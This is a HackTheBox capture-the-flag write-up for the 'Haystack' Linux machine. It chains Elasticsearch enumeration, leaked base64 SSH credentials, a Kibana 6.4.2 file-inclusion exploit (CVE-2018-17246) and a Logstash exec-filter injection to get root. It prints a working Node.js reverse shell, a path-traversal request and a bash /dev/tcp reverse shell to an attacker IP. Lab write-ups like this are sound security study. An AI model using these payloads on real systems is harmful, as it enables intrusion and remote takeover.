HTB: Haystack Writeup

Haystack - HackTheBox Writeup

Machine Information

AttributeDetails
NameHaystack
OSLinux
DifficultyEasy
PointsN/A
Release Date20 October 2019
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Haystack is an Easy difficulty Linux box running the ELK stack (Elasticsearch, Logstash, and Kibana). The vulnerability chain involves enumerating an unprotected Elasticsearch instance to discover base64-encoded SSH credentials, gaining initial access as the security user, and then exploiting a file inclusion vulnerability (CVE-2018-17246) in Kibana 6.4.2 to achieve RCE as the kibana user. Finally, privilege escalation occurs through misconfigured Logstash filters that execute arbitrary commands as root based on file content matching.

TL;DR: Elasticsearch enumeration → Base64 credentials → SSH foothold → Kibana LFI (CVE-2018-17246) → Logstash filter RCE → Root shell


Reconnaissance

Port Scanning

Terminal window
# Initial scan to identify open ports
nmap -p- --min-rate=1000 -T4 10.10.10.115
# Detailed service enumeration
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.115 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.115

Results:

  • Port 22/TCP - SSH (OpenSSH)
  • Port 80/TCP - HTTP (Nginx) - Serves a needle image
  • Port 9200/TCP - Elasticsearch HTTP API

Service Enumeration

Elasticsearch Discovery

Port 9200 is the default Elasticsearch HTTP API port. Accessing it returns JSON metadata confirming the service:

Terminal window
# Enumerate Elasticsearch indices
curl -s http://10.10.10.115:9200/_cat/indices?v

Identified Indices: quotes, bank, .kibana

Extracting Data from Quotes Index

The quotes index contains 253 entries. We can retrieve them all using the search API:

Terminal window
# Count entries in quotes index
curl -s 'http://10.10.10.115:9200/quotes/_count'
# Retrieve all 253 entries
curl -s 'http://10.10.10.115:9200/quotes/_search?size=253' | jq '.hits.hits | .[] | ._source.quote' > /tmp/quotes
# Display results
cat /tmp/quotes

Vulnerability Assessment

Identified Issues:

  1. Unprotected Elasticsearch Instance - No authentication required on port 9200
  2. Sensitive Data Exposure - Base64-encoded credentials stored in plaintext documents
  3. Kibana 6.4.2 LFI Vulnerability - CVE-2018-17246 in /api/console/api_server endpoint
  4. Misconfigured Logstash Filters - Filters execute arbitrary commands as root based on file patterns

Initial Foothold

Exploitation Path

Step 1: Extract Base64 Credentials from Elasticsearch

While reviewing the quotes in Spanish, two entries stand out containing base64 data:

Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg
Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=

Decoding these strings:

Terminal window
# Decode first base64 string
echo "dXNlcjogc2VjdXJpdHkg" | base64 -d
# Output: user: security
# Decode second base64 string
echo "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d
# Output: pass: spanish.is.key

Credentials Obtained: security:spanish.is.key

Step 2: SSH Access

Terminal window
# Connect via SSH with discovered credentials
ssh security@10.10.10.115

Result: Successfully authenticated as the security user.


Privilege Escalation

Step 1: Discover Kibana on Localhost

Once inside the system, enumerate listening ports:

Terminal window
# Check listening services (netstat unavailable, using ss)
ss -4ln
# Output shows Kibana listening on 127.0.0.1:5601

Step 2: Port Forward Kibana

Terminal window
# Forward local port 5601 to remote Kibana
ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N

Access Kibana at http://localhost:5601

Step 3: Identify Kibana Version and Vulnerability

Terminal window
# Check Kibana version via API
curl -s http://localhost:5601/api/status | jq '.version.number'

Version: 6.4.2 → Vulnerable to CVE-2018-17246 (File Inclusion in /api/console/api_server)

Step 4: Exploit CVE-2018-17246 for RCE

Create a Node.js reverse shell payload:

Terminal window
# Create shell.js with Node.js reverse shell
cat > /tmp/shell.js << 'EOF'
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1234, "10.10.14.7", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents Node.js application from crashing
})();
EOF

On your attack machine, start a reverse shell listener:

Terminal window
nc -lvnp 1234

Trigger the file inclusion exploit:

Terminal window
# Exploit LFI to execute shell.js
curl 'http://localhost:5601/api/console/api_server?apis=../../../../../../../../../tmp/shell.js'

Result: Reverse shell received as kibana user.

Step 5: Access Logstash Configuration

Terminal window
# Enumerate files accessible to kibana user
find / -user kibana 2>/dev/null | grep -v /usr | grep -v /proc
# Discover /etc/logstash/conf.d directory
ls -la /etc/logstash/conf.d/

Step 6: Analyze Logstash Configuration

input.conf:

input {
file {
path => "/opt/kibana/logstash_*"
start_position => "beginning"
sincedb_path => "/dev/null"
stat_interval => "10 second"
type => "execute"
mode => "read"
}
}

Logstash monitors /opt/kibana/logstash_* files every 10 seconds.

filter.conf:

filter {
if [type] == "execute" {
grok {
match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
}
}
}

The grok filter extracts commands following “Ejecutar comando :” pattern.

output.conf:

output {
if [type] == "execute" {
stdout { codec => json }
exec {
command => "%{comando} &"
}
}
}

The exec plugin executes the extracted command as root.

Step 7: Create Malicious Logstash File

Terminal window
# Test with whoami command
echo 'Ejecutar comando : whoami > /tmp/user' > /opt/kibana/logstash_execute
# Wait 10 seconds for Logstash to process
sleep 12
cat /tmp/user
# Output: root (confirms command execution as root)

Step 8: Achieve Root Shell

Terminal window
# Create reverse shell payload
echo 'Ejecutar comando: bash -i >& /dev/tcp/10.10.14.7/4444 0>&1' > /opt/kibana/logstash_exec
# On attack machine, set up listener
nc -lvnp 4444
# Wait for Logstash to process (10 seconds) and receive root shell

Result: Interactive root shell acquired.


Attack Chain Summary

Elasticsearch Enumeration
↓
Extract Base64 Credentials (security:spanish.is.key)
↓
SSH Foothold as 'security' User
↓
Port Forward Kibana (127.0.0.1:5601)
↓
Identify Kibana 6.4.2 (CVE-2018-17246)
↓
Exploit LFI via /api/console/api_server
↓
RCE as 'kibana' User
↓
Discover Logstash Configuration Files
↓
Analyze Logstash Filters (file monitoring + exec plugin)
↓
Create Malicious File in /opt/kibana/
↓
Root Command Execution (via Logstash exec filter)
↓
Root Shell

Tools Used

ToolPurpose
nmapNetwork port scanning and service enumeration
curlHTTP requests to Elasticsearch and Kibana APIs
jqJSON parsing and data extraction
base64Decoding base64-encoded credentials
sshRemote SSH access and port forwarding
netcatReverse shell listener
grep/findFile and directory enumeration

Key Learnings

Techniques Practiced

  • Elasticsearch API enumeration and data extraction
  • Base64 encoding/decoding for credential recovery
  • SSH port forwarding for accessing internal services
  • CVE-2018-17246 exploitation (Kibana LFI)
  • Node.js reverse shell payload construction
  • Logstash configuration analysis
  • Grok filter pattern matching
  • File-based command execution chains
  • Privilege escalation through configuration mismanagement

Lessons Learned

  1. Unprotected databases are critical vulnerabilities - Direct access to Elasticsearch without authentication allowed complete data extraction including credentials.

  2. Encoding is not encryption - Base64 encoding credentials provides no security and should never be used as a substitute for proper secrets management.

  3. Version-specific CVEs require specific payloads - The Kibana LFI vulnerability required understanding Node.js execution context and reverse shell construction.

  4. File monitoring patterns can be exploited - Logstash’s file glob patterns combined with unsafe exec commands created a privilege escalation path.

  5. Defense in depth matters - Multiple security failures (unprotected Elasticsearch → outdated Kibana → unsafe Logstash config) were necessary to achieve root compromise.

  6. Command injection through filters - Grok patterns extract user-controllable data that flows directly to exec commands, enabling OS command injection.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>